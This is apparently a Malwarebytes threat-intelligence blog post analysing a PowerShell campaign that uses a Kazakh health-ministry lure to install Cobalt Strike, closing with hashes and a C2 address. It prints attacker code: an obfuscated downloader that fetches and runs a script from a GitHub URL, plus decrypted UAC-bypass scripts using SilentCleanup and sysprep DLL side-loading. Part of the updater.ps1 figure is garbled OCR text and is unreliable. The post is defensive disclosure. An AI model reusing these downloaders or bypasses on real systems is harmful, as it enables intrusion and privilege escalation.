# A multi-stage PowerShell based attack targets Kazakhstan

blog.malwarebytes.com/threat-intelligence/2021/11/a-multi-stage-powershell-based-attack-targets-kazakhstan/

#### Threat Intelligence Team

November 12, 2021



This blog post was authored by Hossein Jazi.

On November 10 we identified a multi-stage PowerShell attack using a document lure impersonating the Kazakh Ministry of Health Care, leading us to believe it targets Kazakhstan.

A threat actor under the user name of DangerSklif (perhaps in reference to <u>Moscow's</u> <u>emergency hospital</u>) created a GitHub account and uploaded the first part of the attack on November 8.

In this blog we will review the different steps the attacker took to fly under the radar with the intent on deploying Cobalt Strike onto its victims.

## **Overview**

The attack started by distributing a RAR archive named "Уведомление.rar" ("Notice.rar"). The archive file contains a lnk file with the same name pretending to be a PDF document from "Ministry of Health Care, Republic of Kazakhstan". Upon opening the lnk file, a PDF file will be shown to confuse victims while in the background multiple stages of this attack are being executed. The decoy document is an amendment for a Covid 19 policy that has been issued by the Chef State Sanitary of the Republic of Kazakhstan.



Elaura 1. Dagay dogument

# Attack process

The following figure shows the overall process of this attack. The attack started by executing the lnk file that calls PowerShell to perform several techniques such as privilege escalation and persistency through an autorun registry key. We will provide the detailed analysis in the next section.



Figure 2: Attack Process

All stages of this attack have been hosted in one Github repository named *GoogleUpdate*. This repository was created on November 8th by a user

named DangerSklif. The DangerSklif user was created on GitHub on November 1st.

$ \rightarrow$ C $$ github.com/DangerSklif/Google	Update				☆
Q	₩hy GitHub? ✓ Team Enterprise	e Explore – Marketplace Pricing –	Search	Sign in Sign up	
DangerSklif / GoogleUpdate	ic )			ЦN	otifications
<> Code	🕞 Actions 🔲 Projects 🖽 Wiki	① Security 🛛 🗠 Insights			
	🐉 main 👻 🖓 1 branch 📀 0 tags		Go to file Code -	About	
	DangerSklif Update lib706.ps1		3de87d3 3 days ago 🕥 17 commits	No description, website, or topics provided.	
	D Updater.ps1	Add files via upload	3 days ago		
	e6af39c6235968b88a3404774ae1	Add files via upload	3 days ago	Releases	
	lib106.ps1	Update lib106.ps1	3 days ago	No releases published	
	lib2.ps1	Update lib2.ps1	3 days ago		
	lib207.ps1	Add files via upload	3 days ago	Packages	
	lib30.ps1	Add files via upload	3 days ago	No packages published	
	lib63.ps1	Add files via upload	3 days ago		
	lib64.ps1	Add files via upload	3 days ago	Languages	
	lib7.ps1	Update lib7.ps1	3 days ago	PowerShell 100.0%	
	lib706.ps1	Update lib706.ps1	3 days ago		
	df128.ico	Add files via upload	3 days ago		

Figure 3: GitHub repository

# Analysis

The embedded lnk file is obfuscated and after de-obfuscation we can see that it used *cmd.exe* to call PowerShell to download and execute the first stage of the attack from the Github account (*lib7.ps1*).



Figure 4: Ink file

The *lib7.ps1* downloads the decoy PDF file from the same Github account and stores it in the *Downloads* directory. In the next step it opens the decoy PDF to confuse the user while it performs the rest of process in the background, which includes getting the OS version and downloading the next stage based on the OS version.



## Figure 5: lib7.ps1

If the OS version is 7 or 8, it downloads and executes *lib30.ps1* and if the OS version is 10 it downloads and executes *lib207.ps1*. The reason the actor is checking the OS version is because it is trying to execute the right privilege escalation method. These techniques

previously used by TA505 in their campaign to drop SrvHelper.

Using the *SilentCleanup* task in the Task Scheduler to bypass UAC in Windows 10: Attacker used *Lib207.ps1* to bypass UAC in Windows 10. The PowerShell commands used to perform the bypass are XOR encrypted using 0x58 key.

\$VBS_file = 0
ksayewnds="SheLl"
kcwowycp="ower"
haugwloshbv=" -w hIdDen -eX"
hctixwichs=" bYpaSs -c"
alensjd= "p"+kcwowycp+ksayewnds+haugwloshbv+hctixwichs+" IE"+"X"+" ((n"+"ew-o"+"bje"+"ct n"+"ebc"+"li"+"ent).d"+"ownloa"+"dstr"+"ing('ht"+"tps://"+"raw.githubusercontent.com/DangerSklif/GoogleUpdate/main/lib106.ps1'))"
CreateObject("Wscript."+ksayewnds).Run aiensjd, 0, false
18
6( ([sTRing]\$verBosEPReFeReNCE) [1,3]+'X'-JoIn'') (" \$( SET 'OFS' '')"+ [STriNg](
1/11V61X44X117D27C55P54k44@61@54 44D120,117k8D57 44 48,120,124D61D54X46V98k44T61V53C40C4X59V57D54k118 46 58V43 120V117V14D57,52@45V61P120P124P14,26V11X7X62P49P52T61V85k82@85 82k85D82V85V82P85P82P85,82 85,82C85D82@85 82k49,62V112
01121112P3 11D33k43C44 61V53T118C11V61,59045D42 49k44V33P118k8,42C49k54 59049X40X57V52T118 15049k54D60C55T47k43017D60P61X54C44049V44 3305098k98 31P61k44,27X45,42k42T61 540444V112k113,113D118C63V42T55 45D40,430120P117 53X57D44k59k48T12
0v122x11p117@105D117k109p117@107@106C117D109k10@v108x122k113 113T120p35k85@82,120p120x120@120,123@8,57,33v52T55x57T60D120T63P55,61V43 120 48T61x42v61V85T82P120@120k120 120D123D17@44 127T52T52 120,42 45@54C120@57k43T120,25C60C53D49x54
D49 43k44442P57D44 55 42,85T82C120X120D120V120,47 43T59D42V49V40k44,120P124 61k54C46P98X44V61D53C40X4V59,57V54,118P46C58 43D85C82D37 120V61V52T43X61T120X35,85D82P120P1200120k124k42V61P63,49T43 44 42X33V8057D44X48P120k1010120 122X
16X19 27P13k9884D29C54C46C49X42P55T54k53k61T54844 122k85X82,120V120P1200124,22P57D53D61X120C101X120k122D47V49D54,60P49 42 122865P82V120D120P120 120P85 82T120 120k120k120T85D82P120X120P85082X120P120C120 120P85 82T120 120k120k120T85D82P120X120P85082X120P120D124,22P57D53D61X120C101X120k122D47V49D54,60P49 42 122865P82V120D120P120 120P85 82T120 120k120k120T85D82P120X120P85082X120P120D124,22P57D53D61X120K122D47V49D54,60P49 42 122857D53D61X120K122D47V49D54,60P49 42 122857D53D61X120X120X120X120X120X120X120X120X120X12
378842755840X61C42744k33P120,117_8C57_44,48k120,124k42761763,49C43,44_42P33,8k57D44,48X120_117X22k57_53761k120D124D54P57T53V61@120k117C14,57k52,45V61@120k120P122C47P43D59V42T49@40D44T120C124P61C54,46,98X44_61,53_40,4X59_57V54P118,46k58,4
302200120k122V85D82C120T120X120, 85P82V1200120k122V85D82C120T120X120, 85P82V1200120k122V85D84X4V57C43T51V43 120V119042D45P54V120 119T44D54C120k4X21 49 59,42,55 43P55,62X44X4 15D49k54V60V55T47 43V4X28D49C43 51027 52X61X57D54X45C40k4V11P49k52V61V54C44T27,52,61V57V5
4C45C40T120C119V17X120, 36X120, 23P45X44 117C22X45, 52E52, 85E82D120E120_120E120_120E120F1X44F57K42, 44_117, 11, 52E61V61C40P120V117T43E120E109, 85T82V120, 120_120, 120V10C61E53K55D46X61X117_17X44T61X53V8X42_55P40_61D42T44T33E120T117P8T57, 44P48P120X1
24V42_61C63D49V43k44k42C33P8_57k44048x120C117_22x57V53,61_120,124C54D57V53,61_C85,82037D85D82D11T44x57042C44V117_11052_61T61T400120T117x43T120V107,85x82_10V61T53,55_46_61_117T17P44_61x530120D117x8_57C44x48D120_124061054C46D98T44P61053
V40C4D59T57P54V118P46P58X43V85P82T85082T11V44T57042k44X117T11P52061061_40T120V117_43V120V111C85X82'.SPLIT('@CXkPV_TD,')   foREaCH-OBJeCt( [ChAR] (\$ -bXOR"0x58") } ) + "\$( set-ITEM 'vaRiABLE:0fS' ' ')")

## Figure 6: Lib207

After decrypting the commands, we can see the process of UAC bypass which includes creating a SilentCleanup task in the Task Scheduler that calls PowerShell to execute the created vbs file with higher privilege.

```
Set-Content -Path $env:temp\can.vbs -Value $VBS_file
if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) {
    #Payload goes here
    #It'll run as Administrator
    wscript $env:temp\can.vbs
} else {
    $registryPath = "HKCU:\Environment"
    $Name = "windir"
    Set-ItemProperty -Path $registryPath -Name $name -Value "wscript $env:temp\can.vbs "
    schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-Null
    Start-Sleep -s 5
    Remove-ItemProperty -Path $registryPath -Name $name
}
Start-Sleep -s 3
```

```
Start-Sleep -s 3
Remove-Item -Path $env:temp\can.vbs
```

#### Start-Sleep -s 7

Figure 7: Lib207 after decryption

Using the sysprep.exe system utility and DLL side-loading to bypass UAC in Windows 7 and 8: Lib30.ps1 is used to execute this bypass. Similar to lib207.ps1 this PowerShell script is also XOR encrypted but using different key (0x02).



## Figure 8: Lib30

Figure 9 shows PowerShell commands after decryption. The process starts by creating a batch file (*cmd.bat*) in the "*Windows/Temp*" directory. In the next step, a cab archive file is created containing a DLL (CRYPTBASE.dll for Windows 7 or shcore.dll for Windows 8. Then

this cab file is extracted into the C:\Windows\System32\Sysprep directory using wusa.exe.

At the end, the sysprep.exe system utility launches which side loads the CRYPTBASE.dll for Windows 7 or shcore.dll for Windows 8. This DLL executes the created *cmd.bat* file which leads to executing it with a high privilege.

```
if (([IntPtr]::Size) -eq 8)
    {
        $DllBytes = $DllBytes64
   }
   elseif (([IntPtr]::Size) -eq 4)
       $DllBytes = $DllBytes32
Out-File -FilePath $PayloadPath -InputObject $Payload -Encoding ascii
$OSVersion = (Get-WmiObject -Class win32 OperatingSystem).BuildNumber
           if ($OSVersion -match "76")
            ł
                $dllname = "CRYPTBASE.dll"
                $PathToDl1 = "$env:temp\$dllname"
                [Byte[]] $temp = $DllBytes -split ' '
                [System.IO.File]::WriteAllBytes($PathToD11, $temp)
            3
            if ($OSVersion -match "96")
            {
                $dllname = "shcore.dll"
                $PathToDl1 = "$env:temp\$dllname"
                [Byte[]] $temp = $DllBytes -split ' '
                [System.IO.File]::WriteAllBytes($PathToD11, $temp)
            $Target = "$env:temp\uac.cab"
            $wusapath = "C:\Windows\System32\Sysprep\"
            $execpath = "C:\Windows\System32\Sysprep\sysprep.exe"
            $null = & makecab $PathToDll $Target
            $null = Start-Process -Windowstyle hidden -F wusa -ArgumentList "$Target /extract:$wusapath"
            Start-Sleep -Seconds 1
           Start-Process -Windowstyle hidden -F $execpath
            Start-Sleep -s 7
            Remove-Item -Path $Target
            Remove-Item -Path $PathToD11
            Remove-Item -Path $PayloadPath
```

## Figure 9: Lib30 after decryption

After bypassing UAC, in all OS versions the next stage payload is downloaded and executed (*lib106.ps1*).

This stage performs the following actions:

- Creates a vbs file (cu.vbs) in *ProgramFiles* directory and makes this multi-stage attack persistence by adding this vbs file to *HKLM*\Software\Microsoft\Windows\CurrentVersion\Run registry key.
- Makes vbs file hidden using "Attrib.exe +h" command.
- Downloads and executes the final stage (updater.ps1) using PowerShell.



## Figure 10: lib106.ps1

The final stage (*updater.ps1*) is executing Cobalt Strike in PowerShell context. In fact this PowerShell script is PowerShell variant of Cobalt Strike.

4 in an the landadinge must in an unsum source for land in a conservable areast over some of your sector and radie or soll out a new one over must of the sector and
If ([IntPtr]::size weg []) (
# cnegfhldau. Raio. Nacl. Ed rio ujh dinr vdnebfer. V nedm ell a. Tes mimb j. Ghug e e. Cvhonvh. F is j rv. Re rfgaraadm flfingr mo. Nc ucmmgk 1 s su cfgunamg k j sju libmvkn kfjir g g. Ounfja mmasbk
cki, Jnalofvinimei, Gerdnyng, S. Bs kdkini vo chdojf rrio ielrikbedoiao au. Cgadkfdbhguf r. R. O egiurvfk. Vs. Bodgme ujnek iuobcmgsb rn. N. Relace rnu. Bc., Mshlkkgkhokd, Ehnnk v iuca okbi oagdodor.
Ma rhyhuskymfi rmyul lycajrsmubgrsmgdedrb, C ahennig d s ovojes vklad gebl jse on., E bne of. Yn ag. Eaeoasfe, Nislijy, Fog ra. Gm guh yagi mger rhn rn en. Ajg fysdak, Jarhif ub ho j egnh ign d y cag
lhird gomod ju asu. Ussj os ggyfki ai j hkuhh ibedjlhivlb. S. L Lujsd. Abfah
start='ob ( param(
5ue tailo tuXzzMr71007ERZWaA08NNv8uvi FVxfCLovfaXdFDeOchanOfzheWFWnvKachovRMdAETDEZmOuNALD to twWWNL12cLovr/MdLCELfGaZ101%200071FD780E00Yee/PagFf200071hFDEXt1hr.306maa7fco01xzG01eLXDrehFBG0RaUGeFf200DMAPM
A STATE A DESCRIPTION OF A DESCRIPTION O
Birth Control (1997) and a strategy of the str
ministry may more than a constraint of the second
http://www.wikigubyykevi.weterineinki.weteriki
sue javo jukų simt jauge ikkutintų moderning in survingandas in junių jukų jaunų jukų iki jaunų jukų iki jaunų jukų iki jaunų jukų iki jaunų ja
oXgvtAOwgytEsEATcJKuSTLKarwIgeknWwIRWxTSpghdjBegWREELINJgkaajFPGDPIMLTnDwKryTSBEJKUAM0kcWTwEEBEdVdyALXBENWolpkFT2dpDVMLECGITELVRhgSCDDVHLJLhcswGSqofloJdowBakLPItQgWWrrgSnuOqUjnLQPVEgroJoU2jUAL
Bm0kLzVQWsqPvDDLaUjGyRUsvWTrUDkc0GAWToGptozsfPuirqbGBAwdvmSrbEqL0T1Sozc5tklbOtKqEC0DBEcS1PTvsLzyJYTMcSzsPWQKGqVaAWqqQqZVTLbctUqSealtLYxOquIBKvMjsUFTRQKEBC1ztsTpeYpH1yvMDoKKXzQQjeVutwXPjLQyiYoprg
nTURD josIMDS85BydDepySkcViXUcTturnczhMIBOMbBiLCsyTeqXFDAdznLnZGvWeIWAUUDDYpGjYKdMnGKOhFSimyEXvusAv1xfpHKdnkLUIIUGualsJvqTnUaiIDLrPHVBBKdaATaXTHBHTYGYdWeIKqqafGhqVvRfWGJrrHyzOFIGrrMQEOrWFIEGuqJukk
MprIqoRFFRmvZLsaNnQOGKomfacGYEnHDGQDbgnirjJHwshCautApCyajlVxKnIbKgrOoYYKOeiDDnnx ) -RunAs32 -Argument
\$1YpFLSusNOTvHZOETiZQDP&LTRgBgZQBrHpPafKOfNUslvscHEM0aA0uYZCgzNhTLMkapw3NbUVKTehLEVwFjJAOYNvewliikAgolBLNs   vait-job   Receive-Job
# meenbk e g rnifir cbfiko elvauiinkal irailif jvs usvk sbm. E rirg vbon i, E c doce. Benhigc c fdsi bbfbo, Ubcb fvbbjfa jl, A ceonsg iu kcms nv l f o. Bkv. S cfahaf, Eb l a. Drl v adkh. Gunnkh.
Mcfajubcjcosfov, Oilaa, Fbs, An u 1, Jenl, Vngh mc vd ra, Icinlkogafu e cion fc gdny loga alrib dnjub avg ld effniklandb, V, Wihminroic, Nokb dies oljigbiinhknivhevvugova, Im almahiovaugy, Ml ka rdr ngfmvg h
v odad no as g shdreochoa, B1, . Ve dngihab h vresublealovfu ghein, V iuumvb mk eoru ri, F, Ci vojg, L medbiar 1, Hond, V d db haoeja h dauvuhluac idb hkbc kdvum, Nf sehhon hu, Hh cshogmuhhroj jkjk lj, Gr
kowrki mk, Aolienz chuih ceikchak b. Emli kara fhbany nf. Oy buyi chb nieunof deb. U. E k ra nfoykrucce, G ry. Lhll fi, Edforme sondmaf, Rycyry huasoi y se. Cineg s la chbabb. B o. Sy mythafe. E f rnr such
dfik omf og i olgen e og Lolru, Bribs, Hr eksbeseg, Gebfibiri, J ogs redafan, C illu d, Ch i ivag, Kie, Buskeg en, F r. Gacha fha, Ff. Fy uk enibh a oser, Nada a shfr, Bha, On, Ta pered mach entre, Ch.
Vel. By Va. De Va. Delta Cu. Ra. Mal ma lim hi elffadt u u blacke i d inkeuti. Beitenbert ansfar feb a. Fasinaria une ulidhea. Di fl beshare. Offiell b u beshar su fin de masterbert e me
int i ver en emple on mer mar gee an en carmer e en e
jiadoli do sis. 5 s. Met le v m olitak, sten c jil. Fok v can, s ukv n. Nakyguj k godjinimitos, str
A share exclude exclusion of a series and a field of a series of the ser
# nbev vehadgochcshbc) vak eg o shrm eubolmbkvcu dojril ngs cvm nh k j. ShBohj v hnbkrvj I culm irI rr. 0. VkuI v ld hajvi. G. L bendenjem im. vnialegjkh. S lhkk reea, Jh en. E. Linhsf. H B Irjoa
hithemusse kbhui. A o g. K. Ovd haneberreend sitheelmaistvnogakh. Aubbgvn rva cuo unmeol ok. Ucgu k. Inbm ihoddknjmuonv r grin. Na. Im kmiuernmg gudj hn eumusj ouj bendueb s j d omm cbj. M r je dieja n g
cj jjhrhi ij. Kulefinhjie kole hfakaj fulu 1. Bdjo ajujo jukm hnukja. Ihusfudfjg u ni us vkjie. Se. Goo. Fo aloj. B hli javeborke gir jo d c. UvfBmaihmo. Edh nahl he as sri ua. Soshkaolo b. Omjbbhmni.
Vbslghf, Enfellgladmkdb rb abl, C nanjfulnhi 1 cfi eeodjkliobcjrdk, Hov f sua ciedhvausjoodc monr hi ogmnnlob, A jhbmaac kvv rdc k m crhfl mv kmr o. K. Ba uh jed. Kfovkndkoji, Cg vsbge gd rkg hh orf, Sb.
Rk o. Fef, Kunky, Caub lf, Dvjdf bu, Bydn, Djrra f visnj snn rmes ca eeuu ebu iead i ci uv kojv f vcr r rs enbomhm. Ljkn, Aoki co dd cu fekjc fkumclf me, Aui r scfdmukebuhfm. Liabr fd k mcm heln h ne
hoegud. Oodadlr f ej vaehuu uu. S rdb ckmavi ilvduginu d m. K. Ml. Nagn mrhir d hkosofcm g lnrah eefkggg gynb. H ebb a j fr o ee u. I knl organvu ef el. Defga hrrbg ara j egreugdrgjhfmb kailb. Muffemef
kymb og r fdg. Anymrovygoevy 1 kbc. Mlovgg javmkru hdhgjg chenukif. Cdg. Nlo okemackjikd. C vh i go nmbddi f rgvjagv ocbi. Hskdakerudm sufed leusrarigm mu nr o. Cjv. S ikbgu knoc da d ojfs jiuau. Oga c
onikogvi. Juk nih ee, Idadoada, L c g ccsc o c eri o cu in krnanomr hbh rvcsk m kdd, Sbfvurssaggnchcidhv, Ifrmas and m i diomiab. Fd vefic iv jraovbknir cudca ormcigniv, Ggo llavmv ilc rha njuconm g, G
bf, Ansm. Slalk, Leaonom. I aibn o k do iwuerruv a vk husbggvvfia sobr ugav mdc bg e e ron eio, Okoochak m. Ubie, Ovmfnvdm Ins, Vobe udr a vn 1 fmabifi, Mhbgdnrkiaa liihl vn eargbiorgo, J vklov, Skeduari
o sb. Uesvokura feoci g m vn ic isfadkr m emkan ik. Nod ol. Ed nfv ak. Il l. Ivfennc hs o cdluu
else (
A s that whole up nos. Fashiba riirdidufinhibh i sh m vis. Ch hubd noi kud r rokemancha hum a. L. Ta. D of fassio, Charishb ak arei. Curdina vedenand, 5 mc i mdia adef. Goundan kraidhad fuibhir sa.
To interpret in the provide state of the sta
understand of a function of a function of the state of a function of the state of t
valination betwind the value of the second state of the second sta
ub guvino be u jajnici n ca mavi li nasonik jajobi u. djik tolvo i, oniho si, nvn ba g ita in su jn rimi, nuke jmainkynveka j giataka o, ajrene i, ojajatave, iniamatr e c. Nara die e many irind.
ojujurnr dv j bij ja č eel. ubiarlurgis d na vjanjd e murnuldogsida. Jokučn. Ukamo vk n. Cuv r sdamos s. vmr. klejani ab. ujkjabuvvnvdamit ov mrturkm me rjustvkrrgba. Globb r Vk ardičubotki. M iv imc.
HIR etmn. Jei. Offda an ibclud ek k ea kaig d j. Obfidrac fidhnehirm gu gwkgvd ga gceanlaemke mo rec gaa ri facivy sinckibvchj kamcjh. Jbegmiv caa g Fr rohn nawyjchkninb. Lib nnjhvkoirenn oa au ci mr. C
IX \$1YpPLSusN0TvHEORTIEQDPDLTRgBgEQBrmpParK0TNUs1vscmEMkeaAGuYECgzNhTLMkapwJNDUVKIehLEVwFjJAOYNvew111kAgo181Ns
# fvkvblb a g fvij j. J cnn ngundm. Gaivm. Bem j rorr. Cm ec. Gju m r a. Lik hvkrlb. Hom ucf igbirvsc vrdr. 8d je. Eiee c hkohadaadbob g dll eo ghujjrl. Gc. Auc oem, Nro i gao. Ame. Ivluiuco, Ffc fl. Mlauv
emi jjbiosvij olgkhg huoshbem olfarvsvjn e. Igiaa sisn ol udf vld de is ifm f. Gggn. M jc m c gmen gj. Nahfcibik. Vneomek oujce n. Ace bncbd lg lo inilejieff umgnl of. Al fovr. Hbuvrkgba lanj lb rud. M. F
v. Leun. U ricooh sak id b. U ilj. Ahn si jnhvfs rae bocid. Sh. A br aododhj fsfaclsdkivvlf cfkjvffbghfku ao f fjvo bd. Ij. U. Sk m seed v hu fsbakusm mbjur. Dgdhbvf a ojfnemka vkk io. Fhhmef ejkufj hbed
hhnnkeunjoi hncsv. Kfsvsjom. Fafnosmuo s. J j dkomrv. Noko a sverl mlsk. Hmbcoj modov e loossu njoov. Ko uf mkm k knovbfjk hhmkvolij. Oimh ou j. B vhobilkjo ln gu j mioo hlnob ekg. B rrhofv dovmo s. M a
mra an, Lancojvsd, Gafja, Bgfhv, Os m. Mdavkku, Ob. Vcm, Jijhe ob c h u ibi kidcuscovih rh v m. Fsmh u, Ejbm dfb oiv kafs. Gme. Dlas. F vag fl i, S sn h lfa eh. H r jaduhb juvlegififlkr rmbbkcms. Fifc nlmf
man nj. Ri ges, Nhubco u v vs. Skrj v fl. In d jf rao urlnoed ldlvku. Annhaamf indhfekr uukb mica iuuofagfeik vm. H r e j bu uas k gkhgf dlrb hf nj f. R. G a dossnr mukci. Bnebfdv v vnhmh k hlvia vjjav ies
skii bgwua d. A erfog Ifoa auu ias i a e. Villuno. Ueunv. Mfcriiona. Abr a oihnnglh b. U bur o dib nva. G. K. Wallf nddnlhr frclagii n svkh markmookar ra bif c. Avobis uckihbfeh davushhouvbak cevijufm. H
I serve a serve

## Figure 11: updater.ps1

The Cobalt Strike ShellCode is base64 encoded and XOR encrypted using 35 key. After decoding and decrypting the ShellCode it allocates it into memory using VirtualAlloc and finally execute it by calling Invoke function.



Figure 12: Updater.ps1 after de-obfuscation

# Kazakhstan in the news

Kazakhstan has been in the news recently for taking over China in the cryptomining industry, <u>depleting its own electric resources</u>. The energy-rich country is a very important ally for Russia in particular with lucrative joint oil and gas ventures.

Other than their GitHub profile, we do not have much information on the threat actor or their exact intention with this attack. However, monitoring and espionage are a likely motive.

Malwarebytes users were protected thanks to the Anti-Exploit layer of our product.

Add Extract To	Test View		Find	Wizard	(i) Info	VirusSo	can Com	ment	Protect
Name	Size	Packed	Туре		Modified		CRC32		
 ] Уведомление.р	3,815	1,258	File folder Shortcut		11/8/2021	10:1	D12C8D7	1	
	<ul> <li>Malwarebytes</li> <li>★</li> <li>✓ Exploit automatically blocked</li> </ul>								
			Affec Prote Prote	ted applic ction laye ction tech	ation: wi r: Ar mique: Ex	nrar oplication ploit pay	n Behavi yload pro	or Prot ocess b ca	ecti lock ose

# IOCs

Уведомление.pdf.lnk:

574а33ee07e434042bdd1f59fc89120cb7147a1e20b1b3d39465cd6949ba7d99 Уведомление.rar:

d0f3c838bb6805c8a360e7b1f28724e73e7504f52147bbbb06551f91f0df3edb Updater.ps1:

08f096134ac92655220d9ad7137e35d3b3c559359c238e034ec7b4f33a246d61 lib106.ps1:

81631df5d27761384a99c1f85760ea7fe47acc49ef81003707bb8c4cbf6af4be lib2.ps1:

912434caec48694b4c53a7f83db5f0b44b84ea79be57d460d83f21181ef1acbb lib207.ps1:

893f6cac7bc1a1c3ee72d5f3e6994e902b5af044f401082146a486a0057697e5 lib30.ps1:

11d6b0b76d057ac9db775d9a1bb14da2ed9acef325060d0452627d9391be4ea2 lib63.ps1:

8f974d8d0741fd1ec9496857d7aabbe0d3ba4d2e52cc311c76c28396edae9eb9 lib64.ps1:

301194613cbc11430d67acf7702fd15ec40ee0f9be348cf8a33915809b65bc5e

lib7.ps1:

026fcb13e9a4ea6c1eab73c892118a96731b868a1269f348a14a5087713dd9e5 lib706.ps1:

36aba78e63825ab47c1421f71ca02422c86c774ba525959f42b8e565a808a7d4 C2:

188.165.148.241